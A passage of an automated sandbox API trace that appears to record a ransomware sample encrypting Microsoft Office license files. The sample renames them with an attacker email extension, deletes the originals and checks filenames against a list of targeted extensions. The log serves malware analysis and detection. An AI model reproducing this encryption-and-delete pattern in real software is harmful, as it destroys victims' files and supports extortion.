dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0207.113] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.113] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.114] GetLastError () returned 0x0 [0207.114] ReadFile (in: hFile=0x410, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x6c57, lpOverlapped=0x0) returned 1 [0207.117] WriteFile (in: hFile=0x370, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x6c60, lpOverlapped=0x0) returned 1 [0207.119] ReadFile (in: hFile=0x410, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.119] WriteFile (in: hFile=0x370, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x128, lpOverlapped=0x0) returned 1 [0207.119] SetEndOfFile (hFile=0x370) returned 1 [0207.119] CloseHandle (hObject=0x370) returned 1 [0207.119] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.119] SetEndOfFile (hFile=0x410) returned 1 [0207.129] CloseHandle (hObject=0x410) returned 1 [0207.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 1 [0208.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.243] lstrlenW (lpString=".doc") returned 4 [0208.243] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.243] lstrlenW (lpString=".docx") returned 5 [0208.244] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.244] lstrlenW (lpString=".pdf") returned 4 [0208.244] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString=".xls") returned 4 [0208.244] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString=".xlsx") returned 5 [0208.244] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.244] lstrlenW (lpString=".ppt") returned 4 [0208.244] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.244] lstrlenW (lpString=".zip") returned 4 [0208.244] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString=".rar") returned 4 [0208.244] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString=".bz2") returned 4 [0208.244] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString=".7z") returned 3 [0208.244] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.244] lstrlenW (lpString=".dbf") returned 4 [0208.244] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.244] lstrlenW (lpString=".1cd") returned 4 [0208.244] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.244] lstrlenW (lpString=".jpg") returned 4 [0208.244] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.244] lstrlenW (lpString=".doc") returned 4 [0208.244] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.244] lstrlenW (lpString=".docx") returned 5 [0208.245] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.245] lstrlenW (lpString=".pdf") returned 4 [0208.245] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString=".xls") returned 4 [0208.245] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString=".xlsx") returned 5 [0208.245] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.245] lstrlenW (lpString=".ppt") returned 4 [0208.245] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.245] lstrlenW (lpString=".zip") returned 4 [0208.245] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString=".rar") returned 4 [0208.245] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString=".bz2") returned 4 [0208.245] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString=".7z") returned 3 [0208.245] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.245] lstrlenW (lpString=".dbf") returned 4 [0208.245] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.245] lstrlenW (lpString=".1cd") returned 4 [0208.245] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0208.245] lstrlenW (lpString=".jpg") returned 4 [0208.245] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.245] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0208.245] lstrlenW (lpString="O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 38 [0208.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0208.246] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23843) returned 1 [0208.246] CloseHandle (hObject=0x578) returned 1 [0208.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms")) returned 0x220 [0208.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0208.247] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.247] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0208.248] GetLastError () returned 0x0 [0208.248] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5d23, lpOverlapped=0x0) returned 1 [0208.250] WriteFile (in: hFile=0x53c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5d30, lpOverlapped=0x0) returned 1 [0208.252] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.252] WriteFile (in: hFile=0x53c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x120, lpOverlapped=0x0) returned 1 [0208.252] SetEndOfFile (hFile=0x53c) returned 1 [0208.253] CloseHandle (hObject=0x53c) returned 1 [0208.253] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.253] SetEndOfFile (hFile=0x578) returned 1 [0208.255] CloseHandle (hObject=0x578) returned 1 [0208.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms")) returned 1 [0208.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.257] lstrlenW (lpString=".doc") returned 4 [0208.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString=".docx") returned 5 [0208.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.257] lstrlenW (lpString=".pdf") returned 4 [0208.257] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString=".xls") returned 4 [0208.257] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString=".xlsx") returned 5 [0208.257] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.257] lstrlenW (lpString=".ppt") returned 4 [0208.257] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.257] lstrlenW (lpString=".zip") returned 4 [0208.257] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString=".rar") returned 4 [0208.257] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString=".bz2") returned 4 [0208.257] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString=".7z") returned 3 [0208.257] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.257] lstrlenW (lpString=".dbf") returned 4 [0208.257] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.257] lstrlenW (lpString=".1cd") returned 4 [0208.257] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.257] lstrlenW (lpString=".jpg") returned 4 [0208.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.258] lstrlenW (lpString=".doc") returned 4 [0208.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString=".docx") returned 5 [0208.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.258] lstrlenW (lpString=".pdf") returned 4 [0208.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString=".xls") returned 4 [0208.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString=".xlsx") returned 5 [0208.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.258] lstrlenW (lpString=".ppt") returned 4 [0208.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.258] lstrlenW (lpString=".zip") returned 4 [0208.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString=".rar") returned 4 [0208.258] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString=".bz2") returned 4 [0208.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString=".7z") returned 3 [0208.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.258] lstrlenW (lpString=".dbf") returned 4 [0208.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.258] lstrlenW (lpString=".1cd") returned 4 [0208.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88 [0208.258] lstrlenW (lpString=".jpg") returned 4 [0208.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.259] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0208.259] lstrlenW (lpString="O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 41 [0208.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0208.259] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11655) returned 1 [0208.260] CloseHandle (hObject=0x578) returned 1 [0208.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0208.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0208.260] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.260] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0208.261] GetLastError () returned 0x0 [0208.261] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d87, lpOverlapped=0x0) returned 1 [0208.435] WriteFile (in: hFile=0x53c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0208.436] ReadFile (in: hFile=0x578, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.436] WriteFile (in: hFile=0x53c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x126, lpOverlapped=0x0) returned 1 [0208.436] SetEndOfFile (hFile=0x53c) returned 1 [0208.436] CloseHandle (hObject=0x53c) returned 1 [0208.436] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.436] SetEndOfFile (hFile=0x578) returned 1 [0208.439] CloseHandle (hObject=0x578) returned 1 [0208.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms")) returned 1 [0209.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.151] lstrlenW (lpString=".doc") returned 4 [0209.152] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString=".docx") returned 5 [0209.152] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.152] lstrlenW (lpString=".pdf") returned 4 [0209.152] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString=".xls") returned 4 [0209.152] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString=".xlsx") returned 5 [0209.152] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.152] lstrlenW (lpString=".ppt") returned 4 [0209.152] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.152] lstrlenW (lpString=".zip") returned 4 [0209.152] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString=".rar") returned 4 [0209.152] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString=".bz2") returned 4 [0209.152] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString=".7z") returned 3 [0209.152] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.152] lstrlenW (lpString=".dbf") returned 4 [0209.152] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.152] lstrlenW (lpString=".1cd") returned 4 [0209.152] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.153] lstrlenW (lpString=".jpg") returned 4 [0209.153] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.153] lstrlenW (lpString=".doc") returned 4 [0209.153] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString=".docx") returned 5 [0209.153] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.153] lstrlenW (lpString=".pdf") returned 4 [0209.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString=".xls") returned 4 [0209.153] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString=".xlsx") returned 5 [0209.153] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.153] lstrlenW (lpString=".ppt") returned 4 [0209.153] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.153] lstrlenW (lpString=".zip") returned 4 [0209.153] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString=".rar") returned 4 [0209.153] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.153] lstrlenW (lpString=".bz2") returned 4 [0209.153] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.154] lstrlenW (lpString=".7z") returned 3 [0209.154] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.154] lstrlenW (lpString=".dbf") returned 4 [0209.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.154] lstrlenW (lpString=".1cd") returned 4 [0209.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91 [0209.154] lstrlenW (lpString=".jpg") returned 4 [0209.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.154] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.154] lstrlenW (lpString="OneNoteR_Grace-ppd.xrm-ms") returned 25 [0209.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 